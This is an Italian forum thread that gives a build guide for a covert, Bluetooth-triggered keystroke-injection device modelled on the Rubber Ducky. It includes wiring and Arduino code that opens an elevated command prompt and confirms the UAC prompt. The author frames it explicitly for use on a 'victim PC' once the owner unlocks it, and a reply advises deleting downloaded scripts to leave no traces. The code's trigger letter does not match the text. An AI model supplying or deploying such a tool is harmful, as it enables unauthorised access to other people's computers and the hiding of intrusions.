Discussione Rubber Ducky Wireless fai da te

Stato
Discussione chiusa ad ulteriori risposte.

Maxwell2609

Utente Silver
29 Ottobre 2020
138
25
33
75
Ultima modifica:
La RubberDucky è uno degli strumenti di hacking più potenti ed utilizzati, ma presenta molte scomodità. Questo è ciò che pensai quando ne sentii parlare per la prima volta, ed è così che decisi di costruirne una colmando tutti i gap che ha l'originale. I maggiori difetti di questa, infatti, sono:
1. Può eseguire un solo script alla volta
2. Il programma su di essa parte quando viene inserita nel dispositivo
3. Il dispositivo deve essere sbloccato per eseguire lo script

Così inventai il mio modello di RubberDucky, chiamato USBreacher (gioco di parole tra USB e Breacher), in grado di fare tutto ciò che l'originale modello potesse fare, ma con molto di più. Può essere controllata via Bluetooth, il che è un enorme vantaggio perché basterà inserirla nel PC vittima ed aspettare che il proprietario lo sblocchi per far partire lo script. In più è possibile caricare al suo interno moltissimi programmi diversi, così da avere un toolkit sempre pronto in tasca. Dunque ecco come costruirlo:

io.jpeg

Materiali:
Arduino Pro Micro (o replica di esso)
Modulo Bluetooth HC-05
Filo elettrico fine
Stagno da saldatura
Involucro (o stampante 3D)
Cavo USB-Micro USB

IMPORTANTE: La scheda Arduino deve necessariamente montare un microcontrollore AtMega 32U4

ao.jpeg

bt.jpeg

Una volta procuratisi tutti i materiali, collegate i pin di Arduino al modulo Bluetooth in questo modo:

Pin Arduino | Pin Modulo
VCC | VCC
GND | GND
8 | RXD
9 | TXD

IMPORTANTE: Se decidete di utilizzare la scheda per trasmettere dati via Bluetooth, assicuratevi di interporre una resistenza sufficiente tra Arduino ed i pin RXD e TXD per non bruciare la scheda. In questo caso però, non la useremo per trasmettere, ma solo per ricevere.

ap.jpeg


Adesso vi servirà un involucro. Potete utilizzate una comune scatoletta di plastica o legno, ma quello che consiglio è di stamparne una in 3D.
Collegate ora il cavo USB ad Arduino e con l'apposita IDE configurate il modulo Bluetooth. Potete seguire questo video.

Una volta fatto ciò, non vi resta che programmare la scheda Arduino per i vostri scopi. Ecco uno script molto semplice che potrete arricchire con i vostri comandi:
C++:
#include <Keyboard.h>
#include <SoftwareSerial.h>

char ch = 0;
char deb = 0;
////////////////////////////////////////////////////////////////////////////////////////////
void del(int tempo){
  delay(tempo);
}
///////////////////////////////////////////////////////////////////////////////////////////
void p(int key)
{
  Keyboard.press(key);
  del(10);
  Keyboard.release(key);
}
SoftwareSerial SSerial(9,8);
//////////////////////////////////////////////////////////////////////////////////////////
void setup() {
  Serial.begin(9600);
  //while(!Serial) {}

  SSerial.begin(9600);
  Serial.println("Scheda inizializzata");
}
///////////////////////////////////////////////////////////////////////////////////////////
void cmd(){
  Keyboard.begin();
  del(500);
  p(KEY_LEFT_GUI);
  p('r');
  del(500);
  Keyboard.print("cmd");
  del(100);
  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.press(KEY_RETURN);
  del(50);
  Keyboard.releaseAll();
  del(1000);
  p(KEY_LEFT_ARROW);
  del(50);
  p(KEY_RETURN);
  del(500);
  Keyboard.releaseAll();
}
/////////////////////////////////////////////////////////////////////////////////////////////////
void loop() {
  if (SSerial.available()){
    ch = SSerial.read();
  if (ch == 'd'){
  cmd();
  }



}}

Per controllarlo non vi servirà altro che l'applicazione Serial Bluetooth Terminal, molto comoda e versatile. Vi basterà modificare uno dei tasti esistenti ed assegnarli la lettera corrispondente al comando nel codice sopra. In questo caso, per aprire il CMD, create un tasto con valore "c".
Per arricchire il repertorio di script, vi basterà conoscere qualche base di C++.
Fatene buon uso!

EDIT:
Per poter eseguire script più complessi, scaricare o caricare file o altre operazioni che necessitano di memoria di archiviazione, consiglio di utilizzare un supporto USB esterno, con al suo interno i vari script o file. Per eseguirli sarà sufficiente programmare Arduino in modo da permettergli di accedere al supporto di memoria attraverso il terminale del dispositivo vittima. Ovviamente tutto risulta più comodo con un hub USB a due ingressi, in modo da occupare una sola porta.
 
La RubberDucky è uno degli strumenti di hacking più potenti ed utilizzati, ma presenta molte scomodità. Questo è ciò che pensai quando ne sentii parlare per la prima volta, ed è così che decisi di costruirne una colmando tutti i gap che ha l'originale. I maggiori difetti di questa, infatti, sono:
1. Può eseguire un solo script alla volta
2. Il programma su di essa parte quando viene inserita nel dispositivo
3. Il dispositivo deve essere sbloccato per eseguire lo script

Così inventai il mio modello di RubberDucky, chiamato USBreacher (gioco di parole tra USB e Breacher), in grado di fare tutto ciò che l'originale modello potesse fare, ma con molto di più. Può essere controllata via Bluetooth, il che è un enorme vantaggio perché basterà inserirla nel PC vittima ed aspettare che il proprietario lo sblocchi per far partire lo script. In più è possibile caricare al suo interno moltissimi programmi diversi, così da avere un toolkit sempre pronto in tasca. Dunque ecco come costruirlo:

Visualizza allegato 54801
Materiali:
Arduino Pro Micro (o replica di esso)
Modulo Bluetooth HC-05
Filo elettrico fine
Stagno da saldatura
Involucro (o stampante 3D)
Cavo USB-Micro USB

IMPORTANTE: La scheda Arduino deve necessariamente montare un microcontrollore AtMega 32U4

Visualizza allegato 54802

Visualizza allegato 54803
Una volta procuratisi tutti i materiali, collegate i pin di Arduino al modulo Bluetooth in questo modo:

Pin Arduino | Pin Modulo
VCC | VCC
GND | GND
8 | RXD
9 | TXD

IMPORTANTE: Se decidete di utilizzare la scheda per trasmettere dati via Bluetooth, assicuratevi di interporre una resistenza sufficiente tra Arduino ed i pin RXD e TXD per non bruciare la scheda. In questo caso però, non la useremo per trasmettere, ma solo per ricevere.

Visualizza allegato 54804

Adesso vi servirà un involucro. Potete utilizzate una comune scatoletta di plastica o legno, ma quello che consiglio è di stamparne una in 3D.
Collegate ora il cavo USB ad Arduino e con l'apposita IDE configurate il modulo Bluetooth. Potete seguire questo video.

Una volta fatto ciò, non vi resta che programmare la scheda Arduino per i vostri scopi. Ecco uno script molto semplice che potrete arricchire con i vostri comandi:
C++:
#include <Keyboard.h>
#include <SoftwareSerial.h>

char ch = 0;
char deb = 0;
////////////////////////////////////////////////////////////////////////////////////////////
void del(int tempo){
  delay(tempo);
}
///////////////////////////////////////////////////////////////////////////////////////////
void p(int key)
{
  Keyboard.press(key);
  del(10);
  Keyboard.release(key);
}
SoftwareSerial SSerial(9,8);
//////////////////////////////////////////////////////////////////////////////////////////
void setup() {
  Serial.begin(9600);
  //while(!Serial) {}

  SSerial.begin(9600);
  Serial.println("Scheda inizializzata");
}
///////////////////////////////////////////////////////////////////////////////////////////
void cmd(){
  Keyboard.begin();
  del(500);
  p(KEY_LEFT_GUI);
  p('r');
  del(500);
  Keyboard.print("cmd");
  del(100);
  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.press(KEY_RETURN);
  del(50);
  Keyboard.releaseAll();
  del(1000);
  p(KEY_LEFT_ARROW);
  del(50);
  p(KEY_RETURN);
  del(500);
  Keyboard.releaseAll();
}
/////////////////////////////////////////////////////////////////////////////////////////////////
void loop() {
  if (SSerial.available()){
    ch = SSerial.read();
  if (ch == 'd'){
  cmd();
  }



}}

Per controllarlo non vi servirà altro che l'applicazione Serial Bluetooth Terminal, molto comoda e versatile. Vi basterà modificare uno dei tasti esistenti ed assegnarli la lettera corrispondente al comando nel codice sopra. In questo caso, per aprire il CMD, create un tasto con valore "c".
Per arricchire il repertorio di script, vi basterà conoscere qualche base di C++.
Fatene buon uso!
Davvero complimenti bella guida spiegata bene e utile solo che rispetto alla rubber ducky originale non ha la memoria sd quindi una volta collegata ad un dispositivo non si possono trasmettere payload o altri file direttamente dall'arduino il che sarebbe molto comodo, ma su aliexpress c'è uno simile sempre con scheda atmega32u di colore viola e con alloggiamento per sd card, una volta collegato al dispositivo dovrebbe essere riconosciuto anche come memoria di archiviazione?
 
Davvero complimenti bella guida spiegata bene e utile solo che rispetto alla rubber ducky originale non ha la memoria sd quindi una volta collegata ad un dispositivo non si possono trasmettere payload o altri file direttamente dall'arduino il che sarebbe molto comodo, ma su aliexpress c'è uno simile sempre con scheda atmega32u di colore viola e con alloggiamento per sd card, una volta collegato al dispositivo dovrebbe essere riconosciuto anche come memoria di archiviazione?
No, la memoria espandibile serve solo a caricare più script su Arduino. Io ho risolto programmando Arduino per eseguire un comando che avvia lo script da una USB, ad esempio F: cd Script start nomescript.

Lo aggiungo alla guida.
 
Quindi l'unica cosa da fare è inserire una pendrive oltre all'arduino con cio che serve trasferire dentro?
Esattamente. In alternativa potresti scaricare sul pc vittima gli script che ti servono da un server, ma dovresti poi cancellarli per non lasciare tracce e sarebbe tutto più complicato. Per evitare problemi di ingombro ti conviene smontare il case della pendrive e prendere solo la PCB (di solito sono molto piccole).
 
  • Grazie
Reazioni: IlMagoDeiTeoremi
Stato
Discussione chiusa ad ulteriori risposte.